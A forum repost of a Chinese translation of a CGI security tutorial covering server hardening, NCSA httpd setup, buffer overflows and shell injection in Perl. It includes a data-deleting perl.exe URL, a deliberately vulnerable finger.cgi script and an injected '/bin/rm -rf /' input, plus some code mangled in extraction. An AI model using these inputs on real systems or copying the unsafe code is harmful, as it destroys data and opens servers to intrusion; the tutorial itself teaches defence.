線上訂房服務-台灣趴趴狗聯合訂房中心
發文 回覆 瀏覽次數:1246
推到 Plurk!
推到 Facebook!

CGI的安全

 
conundrum
尊榮會員


發表:893
回覆:1272
積分:643
註冊:2004-01-06

發送簡訊給我
#1 引用回覆 回覆 發表時間:2004-01-25 23:15:05 IP:61.64.xxx.xxx 未訂閱
http://www.softhouse.com.cn/docs/southpark1044.html CGI的安全(一) 原作者:Eugene Eric Kim,中譯:broarrow 目錄: 1. 基本的安全問題 1-1. 作業系統 1-2. 增強伺服器的安全 1-2-1.你應該在什麽地方放置你的CGI程式? 1-2-2.SSI(Server-Side Includes) 1-2-3.增強你的Unix伺服器的安全 1-2-4.例子:安全的配置NCSA伺服器 2.寫出安全的CGI程式 2-1.語言的風險性 2-2.shell危險性 3.安全處理 3-1.SSL 3-2.SHTTP 4.概要 如果你以前從未編寫過應用於網路的軟體,那麽安全問題可能是你在編程時最不注重的了。畢竟,在單機上,你沒有必要擔心寫了不安全的程式,因爲,大概也只能有一個人可以接近那台電腦。 但是,在編寫應用於Internet的軟體中需要非常強調安全問題。有一個挺老的電腦格言說:"使一台電腦真正安全的唯一方法是將它與世界斷開連接並把電腦放到緊鎖的房間裏。"可見,將電腦和一個網路簡單相連就會降低你的電腦的安全性。 對於越大的相連的網路這句話越適用,比如Internet,這裏有成千上萬的人可能會訪問你的電腦。很多基於Internet的服務,特別是WWW,別設計成能使其他人很容易的從你的電腦中獲取資訊。這些你允許接受訪問的服務(或者是有意的,或者是無意的)都有可能成爲老謀深算、心懷惡意的人的攻擊途徑。一個很糟糕的網路服務器很容易被攻破,甚至潛在給出了可以訪問你的整個電腦和重要資料的許可權。 我說你提供的每一項網路就象進入你系統中另一個門,是指什麽呢?什麽才是安全破壞呢?不管是什麽目的,安全破壞是指一個人從你的電腦中獲得了未經授權的訪問權。"Unauthorized access"(未經授權的訪問權)也可以理解爲很多事情,試圖從伺服器上運行一個非公共的程式,甚至是獲得在Unix中獲得root許可權。 你過多的依賴於爲網路服務器編寫安全程式的程式師的知識和細心。畢竟,沒有人指望你詳細審查幾千行的源碼只爲了弄清楚軟體是否有安全漏洞;大多數情況,你依賴編程者的可靠性和其他審閱源碼和仔細的幫助測試軟體的專家。假如網蟲們證明了你不能完全相信這些程式師可以寫出完美的安全的代碼,那麽你可以採取措施最大限度的減少風險。 在後面的"保護你的Web伺服器",你將學習Web伺服器的安全。目前,假定你的應用於Web伺服器的軟體是安全的,並且正確的配置了;也就是說,沒有人可以僅僅通過你的Web伺服器從你的機器中獲得未經授權的許可權。爲什麽寫安全的CGI腳本很重要呢?CGI是一個允許你拓展Web伺服器的一般協定。通過編寫CGI程式,你能夠增加Web伺服器的功能。這些功能很可能無意中引入新的安全漏洞。一個糟糕的CGI應用程式很可能允許任何人擁有你的機器的完全的許可權。 用戶提交一個表單或者是以另一種方式訪問CGI腳本的時候,本質上來說,是你允許他們遠端運行你的伺服器中的應用程式。因爲很多的CGI應用程式接受用戶的表單輸入(或通過填寫表,或是通過命令行),從另一個角度來說,你允許用戶控制CGI程式的運行。作爲CGI程式的作者,你需要確定你的CGI腳本只能用來實現它指定的功能。這一章提到了相關的Web安全問題,提供了編寫安全的CGI程式的深入的資料。在本章的最後,你也會學會怎樣安全的編寫CGI。 1. 基本的安全問題 你的Web伺服器的全面的安全性取決於很多因素。如果你的Web伺服器沒有正確配置或者系統有其他漏洞的話,那麽一個安全的CGI程式也是毫無用處的。這裏,我論述一些相關的Web安全問題,並說明如何爲CGI程式正確的配置你的Web伺服器。 1-1. 作業系統 一個通常的問題是什麽樣的平臺對Web伺服器來說更安全?運行System 7的Macintosh,Unix的工作站,運行OS/2或Linux的PC等等。在這個問題上有過很多爭論,這些反映了人們對不同的作業系統的不同的偏愛。沒有一個作業系統比另外一個明顯安全。Unix被認爲比單用戶的平臺(比如Macintosh或者是運行著Windows的PC)更安全,因爲曾經有人攻破過一些運行著後者(注:括弧中)的機器,並擁有了所有文件的許可權。然而對於Unix,有一個關於文件屬主和許可權的基本的理解。如果你的伺服器正確的配置了,並被一個安全的用戶(比如:非root用戶)擁有,這時候,如果未經授權的用戶闖進來,他(她)只能造成有限的破壞。然而,有限的破壞已經夠糟糕了,在以後的章節的例子中你會明白。 另一方面,因爲Unix經常要配置很多不同類型的網路服務,比如mail,FTP,Gopher,WWW等等,因此,有更多的潛在的“後門”。加強這些服務的安全性是一個耗時的過程,甚至對有經驗的系統管理員亦如此。即使你每項配置正確無誤,然而在每個單獨的套裝軟體裏仍有可能出現惱人的bug。安全漏洞在各種套裝軟體中並不是罕見的,從一些組織(比如CERT(the Computer Emergency Response Team))的有關各種的Unix網路服務周期性的通知中我們可以清楚的瞭解到。每一個不同的平臺都有其不同的安全含意,但是不能彼此比較安全性。儘管你應該注意每個作業系統的安全性,但是這不應該成爲你選擇平臺的主要標準。選擇你的平臺,糾正有關該平臺相關的安全漏洞,然後安全正確的配置你的Web伺服器。在你完完全全的完成這些步驟之後,你才應該將你的精力投入到編寫安全的CGI腳本中去。 1-2. 保護你的伺服器 編寫安全的CGI腳本的第一步要確定你安全並正確的配置了你的Web伺服器。如果你的Web伺服器並不可靠,那即使你再仔細編寫你的CGI腳本也是沒有用的,人們仍然可以闖入你的電腦。而且,正確的配置你的Web伺服器能夠減小糟糕的CGI程式所帶來的可能的危害。 其他:選擇一個安全的Web伺服器 在不同的平臺有數不清的Web伺服器可供使用。如果可能的話,自我確定一個産品是否安全是很困難的,你將不得不依靠公司的信譽和口頭承諾。檢查你的選擇。在你擁有了一個Web伺服器的列表之後,看一下每個産品的有效期以及目前有多少人使用它。越老的並且經常使用的Web伺服器,有關的安全方面的bug越有可能被發現並修補。如果源碼是開放的,並且你有時間和專門技術,自己從頭至尾看一下原始檔案,看看能否找到潛在的漏洞。閱讀網路中不同的新聞組對該産品以及作者和發行人的評論。著名的公司或作者會很快的通知用戶其産品的任何問題。閱讀各個組織(如CIAC(Computer Incident Advisory Capability)和CERT)有關安全方面的警告資訊。 檢查所有的伺服器元件並確定你是否真的需要所有元件的特性。越複雜、功能越強大的伺服器,越有可能存在未被發現的安全問題。確定你的伺服器支援日誌功能,這樣你可以跟蹤安全問題或其他故障的原因。有一個對付意外事件的計劃。如果發現安全漏洞,要隨時準備升級或者替換你的Web伺服器。關注新版本的發行和新聞組中有關你的Web伺服器的資訊。儘量使 用Web伺服器最新的非測試的版本。不必擔心免費的伺服器。關於開發源碼使伺服器更安全或者相反有爭論。如果伺服器的源碼不公開,安全漏洞將更難發現。如果源碼公開,那麽,理論上,漏洞將很快被發現,公開並得到修補。 在增強伺服器的安全性時,應該有三個目的: A.配置你的程式使它只能提供你指定的服務。 B.不到必要的時候不暴露任何資訊。 C.如果系統遭到入侵,最大限度地減少損壞。 我知道的有關你的電腦的資訊越多,我就越有機會闖入你的電腦。例如,如果我知道哪個目錄或者文件夾存儲了你的所有的敏感的、私有的資訊,這樣,我將進入你的系統獲取全部訪問權縮小至只是獲得某個目錄的許可權(通常是更容易了)。或者,如果我可以訪問你的伺服器配置文件或源碼或者是你的CGI腳本,那我可以很容易的瀏覽它們來尋找安全漏洞。如果你的系統有漏洞,你不想讓別人輕易知道,你必須在別人之前發現它們。 http://www.softhouse.com.cn/docs/southpark1045.html CGI的安全(二) 原作者:Eugene Eric Kim,中譯:broarrow 1-2-1.你應該在什麽地方放置你的CGI程式? 很多伺服器允許你通過各種不同途徑來運行CGI程式。例如,你可以指定一個特定的目錄作爲你的cgi-bin。或者,你可以允許CGI存放在任何目錄下。 這兩種方法都有優缺點,但是從安全的角度來說,在一個指定的目錄中放置你的所有的CGI應用程式更好。把所有的程式放到同一個目錄使你很容易跟蹤你伺服器器所有的應用程式並審查它們的安全漏洞,同時,還可以防止被惡意修改。 如果你傾向於使用描述型的語言(例如Perl)來編寫你的大部分的應用程式,那麽源碼被包含在程式自身中。如果你不小心的話,這些代碼很容易被閱讀,甚至被利用。例如,很多文本編輯器存儲備份的文件,通常在檔案名的後面加一個副檔名(比如.bak)。 舉個例子,emacs使用擴展檔案名~存儲備份檔案。假設你使用Perl編寫了一個CGI腳本——program.cgi——存儲在Web的資料目錄而非中心的指定的目錄中。現在,假設你使用emacs對程式做了一些瑣碎的修改而忘記了刪除備份檔案。現在,在你的目錄裏有了兩個文件:program.cgi和program.cgi~。Web伺服器知道以.cgi結尾的文件是CGI程式,它會運行這個程式而不是顯示它的內容.然而,聰明的用戶可能嘗試訪問program.cgi~.因爲它不是以.cgi結尾,你的Web伺服器將它以原始的文字檔案發送出去,這樣就允許用戶查看你的源代碼來搜尋可能的漏洞.這違反了避免暴露不必要資訊的原則. 當然,如果你的伺服器允許你指定位於某一特定的目錄下的文件均爲CGI,那麽這個文件的副檔名是什麽也就無關緊要了.這樣,在前面的例子中,如果備份檔案放在這樣特定的目錄裏,當用戶試圖訪問它時,伺服器就會運行這個程式而不是發送源代碼. 注意到在你的伺服器中指定一個中心目錄作爲CGI程式的存放位置是有限定的,特別是在多用戶系統中.例如,如果你是一個ISP(Internet Service Provider)並且你想讓你的的用戶可以編寫並運行他自己的CGI程式,你可能有意允許CGI程式可以存放在任何的目錄中.做這個之前,認真考慮一下可替換的選項.你的客戶們打算寫很多的特定的個性化的腳本嗎?如果不是,最好是讓你的客戶將他的CGI腳本提交給你,然後由你將其添加到cgi-bin目錄中,而不要允許CGI可在任何目錄中有效. 關於CGI程式的位置另外一個問題是將解釋器放在哪里.解釋腳本時,伺服器運行解釋器,由它順序裝載腳本並執行. 不要將解釋器放到你的cgi-bin目錄中,或其他有關你的資料結構的任何目錄中.給了用戶訪問解釋器的許可權本質上就是給了他們運行你的系統中任何程式或命令的權力. 如果你使用Windows或其他的非Unix作業系統,這尤其重要.在Unix系統中,你可以在腳本的第一行中指定解釋器.例如: #!/usr/local/bin/perl # this first line says use Perl to run the following script 在Windows中,舉個例子,沒有類似在腳本中指定解釋器的方法.一個調用Perl腳本的方法是建立一個批次檔案來調用Perl和腳本: rem progname.bat rem a wrapper for my perl script, progname.pl c:\perl\perl.exe progname.pl 然而,你也許傾向于避免建立額外的程式,只是簡單的將perl.exe放在你的cgi-bin目錄中,並訪問如下的URL: http://hostname/cgi-bin/perl.exe?progname.pl 這也行,但是這樣也允許了網路上的任何一個人運行你機器中的Perl命令.例如,可以訪問如下的URL: http://hostname/cgi-bin/perl.exe?-e unlink <*.*>%3 經過解碼,其相當於調用Perl並運行下面的一行程式,這行程式將刪除當前目錄的所有文件.顯然,這是我們不想的. unlink <*.*>; 你永遠沒有理由將解釋器放入你的cgi-bin目錄中(或者其他可以運行CGI的目錄),所以千萬不要這麽做.一些Windows伺服器能夠根據其副檔名辨別腳本的類型並運行相應的解釋器.例如,Win-HTTPD認爲每一個以.pl結尾的CGI腳本是Perl腳本,並自動運行Perl.如果你的Web伺服器沒有這個特性,就像這章第一個Windows Perl例子那樣使用包裝的腳本.More:我應該使用一個解釋器嗎? 如果你使用一個Unix或者是Macintosh的Web伺服器的話,記住永遠不要冒險將一個解釋器放到你的cgi-bin中.前面我們提到過,Unix允許你指定特定的位置給包含腳本的解釋器.爲了在Macintosh中使這些腳本有效,你可以使用一個應用程式如ResEdit編輯代碼將腳本與挪用的解釋器結合. http://www.softhouse.com.cn/docs/southpark1055.html CGI的安全(三) 原作者:Eugene Eric Kim,中譯:broarrow 1-2-2.SSI(Server-Side Includes) (譯者注:本篇中我將其譯爲"伺服器嵌入指令") 在第四章中,你已經知道了應該避免伺服器嵌入指令的原因。一個經常提出的一般原因是安全性。很顯然,一些伺服器嵌入指令(特別是NCSA和Netsape)的執行會允許用戶將程式輸入包含到HTML文件中。每次當這些HTML文件被訪問時,在伺服器端程式會運行並將輸出作爲HTML文件的一部分顯示出來。 允許這種伺服器的嵌入指令,你就很容易受到一些安全風險的影響。首先,在Unix的電腦中,程式由伺服器的所有者運行,而不是程式的所有者。如果你的伺服器沒有正確配置,並且將重要的文件或程式交給伺服器的所有者,這些文件和程式以及它們的輸出有可能被你的電腦的用戶所訪問。 當你允許用戶通過瀏覽器修改你系統中的HTML文件時,這種風險就增大了。一個通常的例子是留言本。在留言本中,用戶填寫表單並把資訊提交到CGI程式中,程式一般是將未編輯的資訊附加到一個HTML文件中。如果不編輯或過濾提交的資訊,你就允許了用戶從他或她的瀏覽器中提交HTML代碼。如果你允許程式在伺服器端嵌入執行,不懷好意的用戶就可以通過提交如下的附加代碼給你的機器造成破壞: (略) 這個伺服器嵌入指令將試圖盡可能地刪除你的機器中的所有內容。 你可以通過很多方法避免這個問題,而不需要完全關閉伺服器嵌入。你可以在將提交的文本附加到你的留言本之前過濾所有的HTML附加代碼。或者你可以禁止你的伺服器嵌入中的exec的功能(在這章後面的"增強你的Unix伺服器的安全"中我將演示在NCSA伺服器中如何做)。 如果你忘記了其中的任何一條,其他的一些防護措施同樣可以很大程度上減少因這種附加代碼造成的危害.例如,只要你的伺服器以不存在的用戶,非root的身份運行,這個附加代碼不會刪除任何重要的東西,可能什麽也不會丟掉.假設不還好意者不是試圖刪除你的磁片上的所有東西,而是使用如下的代碼獲取你的/etc/passwd作爲破解之用: (略) 當然,如果你的系統使用的是shadow型的passwd檔,那麽你的/etc/passwd對潛伏的hacker來說毫無用處. 這個例子論證了通常的伺服器端嵌入指令和CGI中兩個很重要的問題.首先,安全漏洞可以被完全隱藏.誰會想到一個簡單的使用SSI編寫的留言本程式可以體現如此之大的安全風險?其次,一個安全漏洞的潛在的危害可以通過正確配置你的伺服器和加強你的系統安全來降低到最小. http://www.softhouse.com.cn/docs/southpark1056.html CGI的安全(四) 原作者:Eugene Eric Kim,中譯:broarrow 1-2-3.增強你的Unix伺服器的安全 一個安全的Unix系統對於Web文件服務來說是個非常優秀的平臺。然而,在加強伺服器安全和正確配置Unix的Web伺服器的過程中伴隨著很多複雜的問題。你應該做的第一件事就是確定你的機器已經盡可能的安全了。 將你不需要的網路服務關掉,不管對你而言他們是多麽沒有害處。任何人未必能使用finger協定侵入你的系統,舉個例子,它提供了一些用戶的資訊,然而,finger可以提供給hacker關於你的系統的有用的資訊。 加強你的系統的內部安全。如果hacker設法破解了一個用戶帳號,要確定這個hacker不會獲得額外的許可權。安全shadow型的password文件和去除設定用戶許可權的腳本(腳本以所有者的身份運行,即使是由其他用戶調用時)是很有用的。 加強Unix機器的安全是一個複雜的課題,超出了本書的範圍。我強烈建議你購買一本這方面的書,閱讀Internet上這方面的資源,如果有必要的話,甚至可以雇傭一個諮詢顧問。不要低估加強你的機器安全的重要性。 另外,分配隔離的空間給你的Web伺服器和文件。你的文件目錄的用途是將這些文件提供給其他人使用,可能是整個Internet,因此你不要將你別人知道的任何東西放到這些目錄裏。你的伺服器目錄包含重要的日誌和配置資訊,並且你要盡可能的不要讓你的內部用戶看到或修改它。 要明智的設置你的目錄和伺服器的所有權和使用權。爲Web相關的目錄建立一個新的用戶和組是通常的一個方法。確定非特權用戶不能更改伺服器或文件目錄。 你的伺服器千萬不要以root身份運行(running as root)。在Unix系統中,只有root能夠訪問小於1234的埠。因爲缺省的Web伺服器運行於埠80,你需要是root來啓動一個Web伺服器。然而,在一個Web伺服器以root身份運行以後,它可以修改自身進程的所有權,或者改變它用以處理連接的子進程的所有權。其中任何一種方法都需要伺服器以非root身份運行。確定配置你的Web伺服器使其以非root身份運行,最好是以一個完全不存在的用戶如nobody。這樣,如果在你的Web伺服器或CGI程式中有漏洞時,它可以降低潛在的危害。 禁止所有你不需要的伺服器特性。如果你開始禁止了一個特性,而後來又決定使用它時,你總是可以將其改回來的。像SSI和SSL都是你可能需要禁止的。 如果你的用戶不需要通過你的伺服器將他們個人的Web文件用於服務,就需要使Web目錄無效。這樣一來,你就可以完全地控制你的機器中用於服務的所有文件,這對於通常的維護和安全是很重要的。 如果你的用戶需要將他們個人文件用於服務(例如,如果你是一個IAP(InternetAccess Provider),確信他們不能超越你的主範圍。認真考慮一下用戶是否需要在他們的個人目錄裏運行CGI程式的權力。前面我們已經提到,最好將所有的CGI放到一個集中的位置。 -------------------------------------------------------------------- CGIWRAP: 在Web上一個流行的套裝軟體是cgiwrap,由Nathan Neulinger(nneul@umr.edu)編寫。這個套裝軟體允許用戶作爲程式的擁有者運行他們自己的CGI程式,而不是作爲伺服器的所有者。 不清楚僅僅允許所有人運行他們自己的未包裝的CGI程式是更否更有益。一方面,一個糟糕的CGI腳本由nobody擁有比起由一個實際存在的用戶擁有來說,前者可能造成的危害更小。另一方面,如果CGI程式以nobody運行對系統造成了破壞,那麽責任在於系統管理員,相反,如果只是一個特定的用戶文件被破壞了,那麽責任終將是用戶的。 我的建議是不要賦予用戶運行個人CGI的權力,如果這樣不可能,那麽你最終使用cgiwrap還是一個簡單的程式取決於你想責任出在哪里。 --------------------------------------------------------------------- 最後,你可能需要考慮你的Web文件建立一個chroot環境。在Unix系統中,你可以通過使用chroot來保護目錄。當server運行在一個chroot的目錄中時,它看不到這個目錄之外的任何東西。在一個chroot環境中,如果有人想侵入你的Web伺服器,他們只會破壞這個目錄裏的文件。 注意,一個chroot環境僅適用於當Web伺服器提供單獨的文件資源。如果你的Web伺服器將用於服務的用戶文件存放在多個目錄中時,想建立一個有效的chroot環境幾乎是不可能的。另外,解釋器(例如Perl或者一個shell)的存在也會降低chroot環境的性能。在一個沒有任何shell和解釋器的chroot環境中,侵入系統的人最壞情況下能改變和破壞你的文件,如果存在解釋器,潛在的危害會上升。 http://www.softhouse.com.cn/docs/southpark1062.html CGI的安全(五) 原作者:Eugene Eric Kim,中譯:broarrow 1-2-4.例子:安全的配置NCSA伺服器 我將通過討論NCSA伺服器(v1.4.2)來論證怎樣著手正確地配置Unix環境下的通用的Web伺服器。有很多Web伺服器可以運行在Unix系統下,NCSA是最早的伺服器之一,被廣泛使用並且屬於自由軟體,而且相當容易配置。我僅說明我認爲對Web伺服器安全方面有關的配置;想獲得有關配置NCSA httpd更多詳細的說明,請參照它的站點: http://hoohoo.ncsa.uiuc.edu/ 你可以將這裏說明的原則應用到幾乎所有的Unix Web伺服器中。 首先,我需要表明我的目標。在這個方案中,我想將NCSA伺服器架設在一個很小的名爲MyCompany的ISP的安全的Unix機器上。這台機器的功能變數名稱爲www.mycompany.net。我需要我的機器中的每一個擁有帳號的人能夠將他或她的Web文件用於服務並可以使用CGI或其他的特性。 我絕對應該需要什麽特性呢?這裏,因爲我是一個很小的ISP,我不能讓用戶自行將其CGI用於服務。如果他們想寫出並使用他們自己的CGI程式,他們必須將其提交給我來檢查;如果CGI程式沒問題,我就安裝它。另外,我要提供一些通常需要的一般的程式,比如留言本和各類表單處理的應用程式。現在,這個方案裏我不需要其他任何的特性了,包括伺服器嵌入指令。 我們來看一下我將如何配置我的Web伺服器。我將建立用戶和www組;這些將擁有所有恰當的目錄。我將建立一個目錄來存放我的伺服器文件(/usr/local/etc/httpd/)和存放Web文件的目錄(/usr/local/etc/httpd/htdocs/)。所有這些目錄對全球是可讀的對所建立的用戶和組是可寫的。 現在,我將要配置伺服器。NCSA HTTPD有三個配置文件:access.conf,httpd.conf和srm.conf。首先,你需要告訴httpd你的Server和HTML的目錄所在。在httpd.conf中,以如下一行來指定Server的目錄: ServerRoot /usr/local/etc/httpd 在srm.conf中,這樣指定文件目錄: DocumentRoot /usr/local/etc/httpd/htdocs 因爲我想指定在/usr/local/etc/httpd/cgi-bin目錄中的所有文件爲CGI程式,在srm.conf中包含如下一行: ScriptAlias /cgi-bin/ /usr/local/etc/httpd/cgi-bin 注意我的cgi-bin目錄的實際位置在我的伺服器目錄而不是文件目錄。因爲我想要使我的伺服器目錄(包括包含CGI的目錄)儘量爲私有,我將它放到文件目錄以外。如果你在該目錄中有一個名爲mail.cgi的CGI,我可以通過如下的URL訪問它: http://www.mycompany.net/cgi-bin/mail.cgi 在srm.conf中需要編輯另一行;它對我們追求特定的伺服器安全不是特別有關係,但是爲了徹底的安全,我還是要提到它: Alias /icons/ /usr/local/etc/httpd/icons 這個Alias指令允許我們爲你的文件目錄樹內部或以外的目錄指定一個別名。與ScriptAlias指令不同,Alias並不改變目錄的含義。 因爲我需要禁止伺服器嵌入指令,並不允許CGI在cgi-bin以爲的目錄運行,在srm.conf中我通過在行首插入一個英鎊符號(#)注釋掉幾行: #AddType text/x-server-parsed-html.shtml #AddType application/x-httpd-cgi.cgi AddType可以幫助你在MIME類型和文件副檔名間建立關聯。text/x-server-parsed-html對parsed HTML來說是MIME類型,而application/x-httpd-cgi則是CGI應用程式類型。這裏,我不需要爲這種MIME類型指定副檔名,因爲在配置伺服器的時候, 我們忽略cgi-bin中的所有文件副檔名,一律被視爲CGI。 最後,我需要通過編輯全局的access.conf文件來設置某些目錄的屬性和訪問許可權。爲了爲所有的目錄定義全局的參數,僅僅將沒有任何環境標記的指令放到文件中。爲了爲特定的目錄指定參數,在directoryname是目錄的全路徑時,通過來包含指令。 缺省情況下,下面的全局選項這樣設置: Options Indexes FollowSymLinks 當URL指定的目錄裏沒有要查找的文件時,Indexes允許你指定一個文件。缺省情況下,這個變數爲index.html,通過srm.conf中的DirectoryIndex來指定,很符合我們的意圖。FollowSymLinks意指伺服器會返回符號連接指向的資料。我沒看到這個特性的必要性,所以我禁止了它。現在,這一行看起來象這樣: Options Indexes 如果我想在任何目錄中使CGI程式有效,我可以通過包含ExecCGI選項來設置: Options Indexes ExecCGI 這一行,結合在srm.conf中的AddType指令,可以允許我通過在任何目錄中給所有的CGI程式添加.cgi的副檔名來執行一個CGI。 缺省情況下NCSA httpd的配置,通過在一個具有適當的屬性和訪問限制的特定目錄中創建.htaccess文件使access.conf中的所有設置都可以被超越。在這種情況下,我不介意用戶改變它們的訪問限制。然而,我不想賦予用戶在他們自己的目錄裏執行CGI和.htaccess文件的能力。 AddType application/x-httpd-cgi .cgi Options Indexes ExecCGI 因此,我編輯access.conf來允許用戶超越除了選項外所有的設置: AllowOverride FileInfo AuthConfig Limit 現在,我的伺服器安全的配置了。我只允許在cgi-bin目錄中運行CGI,並且使伺服器嵌入指令完全無效。伺服器以nobody用戶運行,一個我的系統中不存在的用戶。我禁止了所有我不需要的特性,並且用戶不能超越這些年特殊的限制。想瞭解很多的其他的配置資訊,包括詳盡的訪問限制,請參照NCSA伺服器說明文件。 http://www.softhouse.com.cn/docs/southpark1072.html CGI的安全(六) 原作者:Eugene Eric Kim,中譯:broarrow 2.寫出安全的CGI程式 假設你已經使的你的電腦和Web伺服器很安全了,那麽你後面就應該學會怎樣寫出一個安全性很好的CGI程式。編寫安全的CGI的原則和前面提到的相似: A.你的程式只能實現你指定的功能。 B.不要給客戶額外的它不需要知道的資訊。 C.不要相信客戶給你正確的資訊。 關於第一條可能存在的安全隱患我在guestbook的例子中已經說明了。我提到了幾個可以揭露漏洞的常見的錯誤,但是,你同樣應該記住:你應當考慮你所應用的每一個函數的所有含義。 第二條是一般安全性原則的簡單擴展:系統之外的人對你的系統瞭解的越少,你的系統就越沒有可能被攻破。 最後一條原則只是一條很好的很重要的編程原則,但同樣也是安全性很好的一個。CGI程式應該是安全可靠、健壯的。一個hacker可能做的第一件事是想盡一切辦法通過在你的CGI程式中不斷調整輸入來搞亂程式,進而達到攻入電腦的目的。如果你的程式並不健壯,那麽這時,它或者會崩潰,或者會實現其他的功能(當然這些功能是你不允許的)。這兩種可能性都是令人不快的。爲了杜絕這種可能性,不要對你的客戶可能發送的資訊格式或值作任何的假定。 大多數CGI程式的本質是簡單的輸入/輸出程式。它提取用戶端的說明並返回一些回應。這種程式幾乎沒有風險(當然也會出現漏洞,後面你會看到)。因爲CGI程式並不對輸入感興趣,沒有什麽錯誤可能發生。然而,一旦你的程式利用輸入啓動,可能回調用其他的程式,寫文件,或者做一些功能更強大的而非簡單返回輸出的事情,那麽你就會冒引入安全漏洞的風險。通常,功能是直接和安全風險成比例的。 http://www.softhouse.com.cn/docs/southpark1078.html CGI的安全(七) 原作者:Eugene Eric Kim,中譯:broarrow 2-1.語言的風險性 不同的語言有其與生俱來的安全風險。任何語言都可以編寫安全的CGI程式,但是你必須注意每個語言的怪癖(急轉)。這裏,我只討論C和Perl,但是它們的有些特性並不適用於其他語言。想得到其他語言的指定資訊,請參照適當的文件。 在前面的章節我們學到,一般來說,編譯CGI程式比解釋腳本更可取。編譯程序有兩個優勢:首先,你不需要有伺服器可理解的解釋器;其次,程式的原始檔案是不可訪問的。注意,像Perl一樣的傳統的解釋型語言可以被編譯成二進位形式。(關於如何在Perl中實現,請參閱Larry Wall和Randall Schwartz的《Perl編程》)從安全立場來說,編譯的Perl程式和編譯的C程式一樣好用。 像C這樣比較低級的語言會出現被稱爲buffer overflow的問題。C語言並沒有處理字串的好的內置的方法。通常的方法或者是聲明一個字元陣列或者指向字元的指標。很多人傾向於前一種方法,因爲它編程比較簡單。思考一下下面兩個功能等價的程式碼。 程式1. 在C語言中使用陣列定義字串. #include #include #define message "Hello, world!" int main() { char buffer[80]; strcpy(buffer,message); printf("%s\n",buffer); return 0; } 程式2. 在C語言中使用指標定義字串. #include #include #include #define message "Hello, world!" int main() { char *buffer = malloc(sizeof(char) * (strlen(message) 1)); strcpy(buffer,message); printf("%s\n",buffer); return 0; } 程式1比程式2簡單得多,而且在這個特定的例子裏,兩者都可以很好的工作。我們假設有這樣一個例子:我已經知道了我處理的字串的長度,因此,我可以定義一個適當的陣列長度。但是,在CGI程式裏,你不知道輸入的字串會有多長。舉個例子,如果資訊的長度大於80 char,那麽程式1會崩潰(即我們通常說的"溢出")。 這被稱爲buffer overflow,聰明的hacker就會利用這個來遠端執行命令。這個緩衝溢出的bug存在於NCSA httpd v1.3中。這是爲什麽一個網路(或CGI)程式師需要更細心地編程的很好的例子。在一個單用戶的機器裏,緩衝溢出只能造成系統崩潰。在崩潰的單用戶電腦中沒有必要利用緩衝溢出來執行程式,因爲大概你已經執行了你需要的任何程式(除了公共終端)。然而,在網路系統中,一個崩潰的CGI程式遠不是這麽簡單,它會成爲未經授權的用戶進入的後門。 程式2中的代碼解決了兩個問題。首先,它動態的分配了存儲字串的足夠的空間。其次,注意我將資訊的長度加了1。這樣,我實際上分配了比字串長度多1位元組的記憶體。這就保證字串不會是0。因爲目標字元總是會爲額外的字元留有空間,strcpy()函數在目標字串的最後添加了空字元,strcpy()放置了空字元。沒有理由認爲傳送給CGI腳本的字串會是空字元,因此,爲了以防萬一,我在最後留了1位元組的空間。 倘若你的C程式避免了像緩衝溢出這樣的問題,那麽你就可以寫出安全的CGI程式。然而,這是艱苦的工作,特別是當你的CGI很大更複雜的時候。這些問題將迫使你花費比一般的CGI任務更多的時間來思索低階語言的設計工作。基於這個原因,你可能更喜歡高級一點的編程語言(如Perl)。 然而,具有高級特點的Perl有著冒失的一面。儘管你能假設Perl會正確地處理字串的存儲,但當Perl使用你並不注意的高級一點的語法做一些事情時,很可能會有危險。在下一節中你會更清楚的瞭解到。 http://www.softhouse.com.cn/docs/southpark1083.html CGI的安全(八) 原作者:Eugene Eric Kim,中譯:broarrow 2-2.shell危險性 很多的CGI任務都可以使用其他的程式很容易的實現。例如,你要寫一個CGI的郵件閘道,完全使用CGI程式來完成執行郵件的發送代理是很愚蠢的行爲。更實用的方法是將資料通過管道傳送到一個存在的郵件傳送代理程式,比如sendmail,然後讓sendmail來完成剩下的工作。這種習慣很好並值得鼓勵。 安全風險依賴於你怎樣調用這些外部的程式。完成這項工作在Perl和C中有很多函數可以實現。它們中很多函數通過調用shell,然後讓shell來執行這個命令。這些命令被列在表1中,如果你使用了它們中的一個,那麽你就使得Unixshells在攻擊下顯得很脆弱。 表1. C和Perl中可以調用shell的函數. Perl 函數 C 函數 system('...') system() open('| ...') popen() exec('...') eval('...') `...` 爲什麽shell很危險呢?有很多的非數位的字元可以通過shell轉換成特殊的字元。這些字元被稱爲元字元(譯者注:這裏我將metacharacter譯爲元字元),見表2。 表2. Shell metacharacters. ; < > * | ` & $ ! # ( ) [ ] : { } ' " 每一個這種字元在shell中都起著特殊的作用。例如,假如你想利用finger來查詢一台電腦並將結果存儲到一個文件中,你可以在命令行中如下輸入: finger @fake.machine.org > results 這會使用finger查詢主機fake.machine.org並將查詢結果保存到一個文字檔案results中。這個>字元在這裏是一個重定向符。如果你要實際地使用>字元——例如,你想將它回顯到螢幕上——你將需要在這個字元前加一個反斜杠。舉個例子,下面將向螢幕輸出一個符號>: echo \> 這被稱爲轉義字元(escaping or sanitizing the character string)。 hacker是怎樣利用這個作爲他(她)的優勢的?觀察以下程式3中用perl編寫的finger程式。這個程式所做的是允許用戶查詢一個用戶和一台主機的詳細資訊,並且,這個CGI可以查詢用戶並顯示結果。 程式3. finger.cgi. #!/usr/local/bin/perl # finger.cgi - an unsafe finger gateway require 'cgi-lib.pl'; print &PrintHeader; if (&ReadParse(*in)) { print "\n"; print `/usr/bin/finger $in{'username'}`; print "\n"; } else { print " \n"; print "\n"; print "\n\n"; print "Finger Gateway\n"; print "\n"; print "User@Host: \n"; print "\n"; print "\n"; print " \n"; } 乍一看,這個程式好象沒有什麽害處。因爲是用Perl編寫的,不會有bufferoverflow的危險。我使用了finger的完全路徑,這樣gateway不會被僞造的finger程式所欺騙。如果輸入是一個不合適的格式,那麽gateway將返回一個錯誤而不會被人利用。 但是,如果我嘗試如下的輸入會怎樣呢(如圖1所示) nobody@nowhere.org;/bin/rm -rf / FINGER GATEWAY ___________________________________ User@Host: |nobody@nowhere.org ; /bin/rm -rf / | ----------------------------------- ______________ | Submit Query | -------------- (圖1) (譯者注:原圖是一個瀏覽器,我僅畫出HTML頁中的部分。) 我們來看一下下面的程式列會如何處理這樣的輸入: print `/usr/bin/finger $in{'username'}` 由於你使用了向後的標記,首先它會執行一個shell。然後它將執行如下的命令: /usr/bin/finger nobody@nowhere.org ; /bin/rm -rf / 